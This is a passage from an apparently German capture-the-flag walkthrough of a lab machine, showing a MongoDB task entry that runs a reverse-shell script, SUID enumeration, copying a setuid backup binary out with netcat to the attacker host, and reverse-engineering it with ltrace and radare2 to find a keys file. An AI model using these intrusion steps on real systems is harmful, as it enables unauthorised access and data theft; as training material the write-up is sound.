</span></span><span style="display:flex;"><span>&gt; db.tasks.insert<span style="color:#f92672">({</span>cmd: <span style="color:#e6db74">&#34;/usr/bin/node /tmp/reverse.js&#34;</span><span style="color:#f92672">})</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">{</span>
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;acknowledged&#34;</span> : true,
</span></span><span style="display:flex;"><span><span style="color:#e6db74">&#34;insertedId&#34;</span> : ObjectId<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;5a8d1e6cf84b3aa4294de40d&#34;</span><span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">}</span>
</span></span></code></pre></div><p>Durch <strong>db.tasks.insert({cmd: &ldquo;/usr/bin/node /tmp/reverse.js&rdquo;})</strong> machen wir einen neuen Eintrag in der Datenbank <strong>tasks</strong>. <strong>cmd</strong>bekommt dabei den Wert <strong>/usr/bin/node /tmp/reverse.js</strong>, welcher dafür sorgt, dass node unser Reverse Shell Skript ausführt. Zeile 4-6 ist die Bestätigung, dass der Eintrag erfolgreich war.</p>
<p>Jetzt nur noch ein wenig warten, bis unser Eintrag ausgeführt wurde und wir haben Zugriff als <strong>tom</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/$
</span></span></code></pre></div><div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/$ find / -perm -u<span style="color:#f92672">=</span>s 2&gt;/dev/null
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>/usr/lib/eject/dmcrypt-get-device
</span></span><span style="display:flex;"><span>/usr/lib/snapd/snap-confine
</span></span><span style="display:flex;"><span>/usr/lib/dbus-1.0/dbus-daemon-launch-helper
</span></span><span style="display:flex;"><span>/usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
</span></span><span style="display:flex;"><span>/usr/lib/openssh/ssh-keysign
</span></span><span style="display:flex;"><span>/usr/lib/policykit-1/polkit-agent-helper-1
</span></span><span style="display:flex;"><span>/usr/local/bin/backup
</span></span><span style="display:flex;"><span>/usr/bin/chfn
</span></span><span style="display:flex;"><span>/usr/bin/at
</span></span><span style="display:flex;"><span>/usr/bin/gpasswd
</span></span><span style="display:flex;"><span>/usr/bin/newgidmap
</span></span><span style="display:flex;"><span>/usr/bin/chsh
</span></span><span style="display:flex;"><span>/usr/bin/sudo
</span></span><span style="display:flex;"><span>/usr/bin/pkexec
</span></span><span style="display:flex;"><span>/usr/bin/newgrp
</span></span><span style="display:flex;"><span>/usr/bin/passwd
</span></span><span style="display:flex;"><span>/usr/bin/newuidmap
</span></span><span style="display:flex;"><span>/bin/ping
</span></span><span style="display:flex;"><span>/bin/umount
</span></span><span style="display:flex;"><span>/bin/fusermount
</span></span><span style="display:flex;"><span>/bin/ping6
</span></span><span style="display:flex;"><span>/bin/ntfs-3g
</span></span><span style="display:flex;"><span>/bin/su
</span></span><span style="display:flex;"><span>/bin/mount
</span></span></code></pre></div><p><strong>find / -perm -u=s</strong> durchsucht alle Dateien, nach welchen die von jedem Benutzer ausgeführt werden können und dann die effektive UID des Benutzers der Datei haben. Mehr Informationen dazu kannst du <a href="http://www.zettel-it.de/docs/SUID-SGID-und-Sticky-Bit.pdf">hier</a> finden. <strong>2&gt;/dev/null</strong> sorgt einfach dafür, dass alle Fehlermeldungen (z.B. bei Zugriff verweigert) zu <a href="https://de.wikipedia.org/wiki//dev/null">/dev/null</a> umgeleitet werden. <a href="https://de.wikipedia.org/wiki//dev/null">/dev/null</a> verwirft jegliche Daten, die dorthin geschrieben werden.</p>
<p><strong>/usr/local/bin/backup</strong> sieht unüblich aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/$ cd  /usr/local/bin
</span></span><span style="display:flex;"><span>tom@node:/usr/local/bin$ file backup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>backup: setuid ELF 32-bit LSB exeutable, Intel 80386, version <span style="color:#ae81ff">1</span> <span style="color:#f92672">(</span>SYSV<span style="color:#f92672">)</span>, dynamically linked, interpreter  /lib/ld-linux.so.2,  <span style="color:#66d9ef">for</span> GNU/Linux 2.6.32, BuildID<span style="color:#f92672">[</span>sha1<span style="color:#f92672">]=</span>343cf2d93fb2905848a42007439494a2b4984369,  not stripped
</span></span></code></pre></div><p>**/usr/local/bin/backup **ist eine <a href="https://de.wikipedia.org/wiki/Executable_and_Linking_Format">ELF</a> Datei.</p>
<p>Laden wir uns die Datei herunter um sie uns genauer ansehen zu können.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# nc -lnvp <span style="color:#ae81ff">8888</span> &gt; backup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~# ifconfig tun0
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>inet 10.10.14.52 netmask 255.255.254.0 destination 10.10.14.52
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>tom@node:/usr/local/bin$ nc 10.10.14.52 <span style="color:#ae81ff">8888</span> &lt; backup
</span></span></code></pre></div><p>Mit <a href="https://en.wikipedia.org/wiki/Ltrace">ltrace</a> können wir das Programm debuggen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# chmod +x backup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>root@kali:~# ltrace ./backup
</span></span><span style="display:flex;"><span>__libc_start_main<span style="color:#f92672">(</span>0x80489fd, 1, 0xffb9ac24, 0x80492c0 &lt;unfinished ...&gt;
</span></span><span style="display:flex;"><span>geteuid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>setuid<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>exit<span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt;
</span></span><span style="display:flex;"><span>+++ exited <span style="color:#f92672">(</span>status 1<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>Das Programm beendet mit dem **Status  1 **und macht sonst nichts nennenswertes. Benutzen wir <a href="https://en.wikipedia.org/wiki/Radare2">radare2</a> um uns den Assembly Source Code anzusehen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# r2 backup
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>0x08048780<span style="color:#f92672">]</span>&gt; aaa
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>x<span style="color:#f92672">]</span> Analyze all flags starting with sym. and entry0 <span style="color:#f92672">(</span>aa<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>x<span style="color:#f92672">]</span> Analyze len bytes of instructions <span style="color:#66d9ef">for</span> references <span style="color:#f92672">(</span>aar<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>x<span style="color:#f92672">]</span> Analyze <span style="color:#66d9ef">function</span> calls <span style="color:#f92672">(</span>aac<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>x<span style="color:#f92672">]</span> Use -AA or aaaa to perform additional experimental analysis.
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>x<span style="color:#f92672">]</span> Constructing a <span style="color:#66d9ef">function</span> name <span style="color:#66d9ef">for</span> fcn.* and sym.func.* functions <span style="color:#f92672">(</span>aan<span style="color:#f92672">)</span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>0x08048780<span style="color:#f92672">]</span>&gt; afl
</span></span><span style="display:flex;"><span>0x080485a8 <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">35</span> sym._init
</span></span><span style="display:flex;"><span>0x080485e0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strstr
</span></span><span style="display:flex;"><span>0x080485f0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strcmp
</span></span><span style="display:flex;"><span>0x08048600 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.printf
</span></span><span style="display:flex;"><span>0x08048610 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strcspn
</span></span><span style="display:flex;"><span>0x08048620 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.fgets
</span></span><span style="display:flex;"><span>0x08048630 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.fclose
</span></span><span style="display:flex;"><span>0x08048640 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.time
</span></span><span style="display:flex;"><span>0x08048650 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.geteuid
</span></span><span style="display:flex;"><span>0x08048660 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strcat
</span></span><span style="display:flex;"><span>0x08048670 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strcpy
</span></span><span style="display:flex;"><span>0x08048680 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.getpid
</span></span><span style="display:flex;"><span>0x08048690 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.puts
</span></span><span style="display:flex;"><span>0x080486a0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.system
</span></span><span style="display:flex;"><span>0x080486b0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.clock
</span></span><span style="display:flex;"><span>0x080486c0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.exit
</span></span><span style="display:flex;"><span>0x080486d0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.srand
</span></span><span style="display:flex;"><span>0x080486e0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strchr
</span></span><span style="display:flex;"><span>0x080486f0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.__libc_start_main
</span></span><span style="display:flex;"><span>0x08048700 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.fopen
</span></span><span style="display:flex;"><span>0x08048710 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.strncpy
</span></span><span style="display:flex;"><span>0x08048720 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.rand
</span></span><span style="display:flex;"><span>0x08048730 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.access
</span></span><span style="display:flex;"><span>0x08048740 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.setuid
</span></span><span style="display:flex;"><span>0x08048750 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.sprintf
</span></span><span style="display:flex;"><span>0x08048760 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sym.imp.remove
</span></span><span style="display:flex;"><span>0x08048770 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">6</span> sub.__gmon_start___252_770
</span></span><span style="display:flex;"><span>0x08048780 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">33</span> entry0
</span></span><span style="display:flex;"><span>0x080487b0 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">4</span> sym.__x86.get_pc_thunk.bx
</span></span><span style="display:flex;"><span>0x080487c0 <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">43</span> sym.deregister_tm_clones
</span></span><span style="display:flex;"><span>0x080487f0 <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">53</span> sym.register_tm_clones
</span></span><span style="display:flex;"><span>0x08048830 <span style="color:#ae81ff">3</span> <span style="color:#ae81ff">30</span> sym.__do_global_dtors_aux
</span></span><span style="display:flex;"><span>0x08048850 <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">43</span> -&gt; <span style="color:#ae81ff">40</span> entry1.init
</span></span><span style="display:flex;"><span>0x0804887b <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">197</span> sym.mix
</span></span><span style="display:flex;"><span>0x08048940 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">63</span> sym.displayWarning
</span></span><span style="display:flex;"><span>0x0804897f <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">63</span> sym.displaySuccess
</span></span><span style="display:flex;"><span>0x080489be <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">63</span> sym.displayTarget
</span></span><span style="display:flex;"><span>0x080489fd <span style="color:#ae81ff">50</span> <span style="color:#ae81ff">2237</span> sym.main
</span></span><span style="display:flex;"><span>0x080492c0 <span style="color:#ae81ff">4</span> <span style="color:#ae81ff">93</span> sym.__libc_csu_init
</span></span><span style="display:flex;"><span>0x08049320 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">2</span> sym.__libc_csu_fini
</span></span><span style="display:flex;"><span>0x08049324 <span style="color:#ae81ff">1</span> <span style="color:#ae81ff">20</span> sym._fini
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>0x08048780<span style="color:#f92672">]</span>&gt; vvv
</span></span></code></pre></div><p>Nachdem wir <strong>aaa</strong> (analysiere alles), <strong>afl</strong> (liste alle Funktionen auf) und dann <strong>vvv</strong> (gehe in den Visuellen Modus) eingegeben haben, sehen wir folgendes.</p>
<p><a href="https://imgur.com/QfUQFIz"><img alt="radare2" src="https://imgur.com/QfUQFIz.jpg"></a></p>
<p>Wählen wir nun <strong>sym.main</strong> mit Hilfe der Pfeiltasten aus. Jetzt 2x <strong>g</strong> drücken und dann <strong>Leertaste</strong>. Wenn wir nun etwas runtergehen sehen wir folgendes.</p>
<p><a href="https://imgur.com/bI8gzC0"><img alt="radare2" src="https://imgur.com/bI8gzC0.jpg"></a></p>
<p><strong>cmp dword [ebx], 3</strong> ( Das Register <strong>ebc</strong> wird mit dem Wert <strong>3</strong> verglichen )<br>
<strong>jg 0x8048a44;[gc]</strong> ( Wenn <strong>ebx größer oder gleich 3</strong> ist, wird das Programm weiter ausgeführt, ansonsten wird es beendet.)</p>
<p>Eventuell möchte das Programm 3 (oder mehr) Argumente haben.</p>
<p>( Mit <strong>q</strong> kannst du radare2 wieder beenden )</p>
<p>Probieren wir nun das Programm mit 3 Argumenten aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ltrace ./backup arg1 arg2 arg3
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>__libc_start_main<span style="color:#f92672">(</span>0x80489fd, 4, 0xffa26dc4, 0x80492c0 &lt;unfinished ...&gt;
</span></span><span style="display:flex;"><span>geteuid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>setuid<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;arg1&#34;</span>, <span style="color:#e6db74">&#34;-q&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">[</span>...<span style="color:#f92672">]</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>strncpy<span style="color:#f92672">(</span>0xffab3ad8, <span style="color:#e6db74">&#34;arg2&#34;</span>, 100<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffab3ad8
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffab3ac1, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffab3ac1
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffab3acd, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffab3acd
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffab3a57, <span style="color:#e6db74">&#34;/e&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffab3a57
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/e&#34;</span>, <span style="color:#e6db74">&#34;tc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc&#34;</span>, <span style="color:#e6db74">&#34;/m&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/m&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/m&#34;</span>, <span style="color:#e6db74">&#34;yp&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myp&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myp&#34;</span>, <span style="color:#e6db74">&#34;la&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/mypla&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/mypla&#34;</span>, <span style="color:#e6db74">&#34;ce&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace&#34;</span>, <span style="color:#e6db74">&#34;/k&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>, <span style="color:#e6db74">&#34;ey&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>
</span></span><span style="display:flex;"><span>fopen<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffab26a8, <span style="color:#e6db74">&#34;Could not open file\n\n&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffab26a8
</span></span><span style="display:flex;"><span>printf<span style="color:#f92672">(</span><span style="color:#e6db74">&#34; %s[!]%s %s\n&#34;</span>, <span style="color:#e6db74">&#34;\033[33m&#34;</span>, <span style="color:#e6db74">&#34;\033[37m&#34;</span>, <span style="color:#e6db74">&#34;Could not open file\n\n&#34;</span> <span style="color:#f92672">[</span>!<span style="color:#f92672">]</span> Could not open file
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">37</span>
</span></span><span style="display:flex;"><span>exit<span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt;
</span></span><span style="display:flex;"><span>+++ exited <span style="color:#f92672">(</span>status 1<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>In Zeile 6 wird das erste Argument mit <strong>-q</strong> verglichen ( <strong>strcmp(&ldquo;arg1&rdquo;, &ldquo;-q&rdquo;) = 1</strong> ). Testen wir das aus.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ltrace ./backup -q arg2 arg3
</span></span><span style="display:flex;"><span>__libc_start_main<span style="color:#f92672">(</span>0x80489fd, 4, 0xffb8b344, 0x80492c0 &lt;unfinished ...&gt;
</span></span><span style="display:flex;"><span>geteuid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>setuid<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;-q&#34;</span>, <span style="color:#e6db74">&#34;-q&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strncpy<span style="color:#f92672">(</span>0xffb8b208, <span style="color:#e6db74">&#34;arg2&#34;</span>, 100<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb8b208
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffb8b1f1, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb8b1f1
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffb8b1fd, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb8b1fd
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffb8b187, <span style="color:#e6db74">&#34;/e&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffb8b187
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/e&#34;</span>, <span style="color:#e6db74">&#34;tc&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc&#34;</span>, <span style="color:#e6db74">&#34;/m&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/m&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/m&#34;</span>, <span style="color:#e6db74">&#34;yp&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myp&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myp&#34;</span>, <span style="color:#e6db74">&#34;la&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/mypla&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/mypla&#34;</span>, <span style="color:#e6db74">&#34;ce&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace&#34;</span>, <span style="color:#e6db74">&#34;/k&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/k&#34;</span>, <span style="color:#e6db74">&#34;ey&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>
</span></span><span style="display:flex;"><span>strcat<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/key&#34;</span>, <span style="color:#e6db74">&#34;s&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>
</span></span><span style="display:flex;"><span>fopen<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;/etc/myplace/keys&#34;</span>, <span style="color:#e6db74">&#34;r&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>exit<span style="color:#f92672">(</span><span style="color:#ae81ff">1</span> &lt;no <span style="color:#66d9ef">return</span> ...&gt;
</span></span><span style="display:flex;"><span>+++ exited <span style="color:#f92672">(</span>status 1<span style="color:#f92672">)</span> +++
</span></span></code></pre></div><p>In Zeile 18 wird versucht <strong>/etc/myplace/keys</strong> zu lesen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>tom@node:/usr/local/bin$ cat /etc/myplace/keys
</span></span><span style="display:flex;"><span>a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
</span></span><span style="display:flex;"><span>45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
</span></span><span style="display:flex;"><span>3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
</span></span></code></pre></div><p>Kopieren wir uns den Inhalt und erstellen bei unserer Maschine die Datei <strong>/etc/myplace/keys</strong>.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# mkdir /etc/myplace
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>vi /etc/myplace/keys
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>a01a6aa5aaf1d7729f35c8278daae30f8a988257144c003f8b12c5aec39bc508
</span></span><span style="display:flex;"><span>45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
</span></span><span style="display:flex;"><span>3de811f4ab2b7543eaf45df611c2dd2541a5fc5af601772638b81dce6852d110
</span></span></code></pre></div><p>So jetzt erneut das Programm debuggen.</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-shell" data-lang="shell"><span style="display:flex;"><span>root@kali:~# ltrace ./backup -q arg2 arg3
</span></span><span style="display:flex;"><span>__libc_start_main<span style="color:#f92672">(</span>0x80489fd, 4, 0xffaf3094, 0x80492c0 &lt;unfinished ...&gt;
</span></span><span style="display:flex;"><span>geteuid<span style="color:#f92672">()</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>setuid<span style="color:#f92672">(</span>0<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strcmp<span style="color:#f92672">(</span><span style="color:#e6db74">&#34;-q&#34;</span>, <span style="color:#e6db74">&#34;-q&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> <span style="color:#ae81ff">0</span>
</span></span><span style="display:flex;"><span>strncpy<span style="color:#f92672">(</span>0xffaf2f58, <span style="color:#e6db74">&#34;arg2&#34;</span>, 100<span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2f58
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffaf2f41, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2f41
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffaf2f4d, <span style="color:#e6db74">&#34;/&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2f4d
</span></span><span style="display:flex;"><span>strcpy<span style="color:#f92672">(</span>0xffaf2ed7, <span style="color:#e6db74">&#34;/e&#34;</span><span style="color:#f92672">)</span> <span style="color:#f92672">=</span> 0xffaf2ed7
